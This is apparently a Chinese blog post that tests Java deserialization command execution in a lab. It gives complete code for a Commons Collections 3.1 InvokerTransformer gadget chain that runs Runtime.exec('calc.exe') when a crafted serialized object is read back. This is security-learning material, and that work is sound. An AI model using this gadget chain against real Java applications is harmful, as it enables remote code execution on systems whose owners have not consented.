• java反序列化命令执行测试实践


    java的序列化和反序列化就不解释了。直接测试。

    首先测试命令执行原理。

    1.创建一个maven项目

    2.引入有漏洞版本的依赖

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
    

    3.创建一个测试执行类

    Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换。Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,只需要传入方法名、参数类型和参数,即可调用任意函数。先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

    构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换

    测试代码:

    public void rceTest(){
            //transformer链
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[] {String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke",
                            new Class[] {Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] {String.class }, new Object[] {"calc.exe"})};
            //能够执行代码的ChainedTransformer
            Transformer transformedChain = new ChainedTransformer(transformers);
            //创建一个map
            Map innerMap = new HashMap();
            innerMap.put("1", "test");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
            //setValue()时,会触发ChainedTransformer中的一系列变换函数
            onlyElement.setValue("test2");
        }
    

      

    在main函数中调用该类并执行

     这里我理解的思路就是 TransformedMap.decorate()方法获得一个TransformedMap的实例,要想获得这个实例,首先需要一个map实例。所以要先定义一个map,TransformedMap这个实例在元素被更改时,会触发ChainedTransformer中预先定义好的操作,定义了什么操作呢?由Transformer[]中通过java反射机制预先定好的命令执行操作。

    为了让反序列化过程中,readObject直接触发命令执行,那么如果有一个类,它重写了readObject,那么调用readObject这个函数时就会优先执行这个类中的readObject,然后就那么巧,这个重写的readObject类还就对map中的元素进行了更改,那不就正好能够命令执行了吗。

    网上的文章大部分是AnnotationInvocationHandler类

    这个类重写了readObject,并且对map进行了元素的更改。但是很奇怪的是,在复现的时候,没有成功执行,有的说是jdk的原因,没有深究了。

    那就换一个思路,自己写这样的一个类试试。他要重写readObject并且对map元素进行更改,并且这个map类可控,我们可以把预先精心准备好的map传入进去。

    比如:

    public class SerObj implements Serializable {
    public Map map;

    private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
    in.defaultReadObject();
    Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
    e.setValue("test3");
    }
    }

      

    然后我们创建一个SerObj的实例,将精心设计的map传入后,进行序列化。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.util.HashMap;
    import java.util.Map;
    
    public class TestWriteObject {
        public void testWriteObject() throws IOException {
            //transformer链
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[] {String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke",
                            new Class[] {Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] {String.class }, new Object[] {"calc.exe"})};
            //能够执行代码的ChainedTransformer
            Transformer transformedChain = new ChainedTransformer(transformers);
            SerObj serObj=new SerObj();
            Map<String,String> beforeMap = new HashMap<String,String>();
            beforeMap.put("1", "test");
            Map afterMap = TransformedMap.decorate(beforeMap, null, transformedChain);
            //将我们精心设计的map传入
            serObj.map=afterMap;
            FileOutputStream fos =new FileOutputStream("aa.ser");
            ObjectOutputStream os=new ObjectOutputStream(fos);
            os.writeObject(serObj);
            os.close();
        }
    }
    

      

    然后main中执行反序列化读取,尝试是否可以命令执行

    public class TestReadObject {
        public void testReadObject() throws IOException, ClassNotFoundException {
            FileInputStream fis =new FileInputStream("aa.ser");
            ObjectInputStream os =new ObjectInputStream(fis);
            os.readObject();
            os.close();
        }
    }
    

      

     参考代码:

    https://github.com/testwc/sertest

  • 相关阅读:
    Android添加横线和竖线分割界面
    ViewPager + Fragment实现滑动标签页
    fragment中嵌套viewpager,vierpager中有多个fragment,不显示 .
    Android开发之ViewPager实现轮播图(轮播广告)效果的自定义View
    Android SDK快速下载
    Codeforces Round #256 (Div. 2) D. Multiplication Table
    UITabBarControler解决旋转问题
    SQL Server 板机
    nested push animation can result in corrupted navigation bar
    10.树和树店
  • 原文地址:https://www.cnblogs.com/fczlm/p/14293107.html
Copyright © 2020-2023  润新知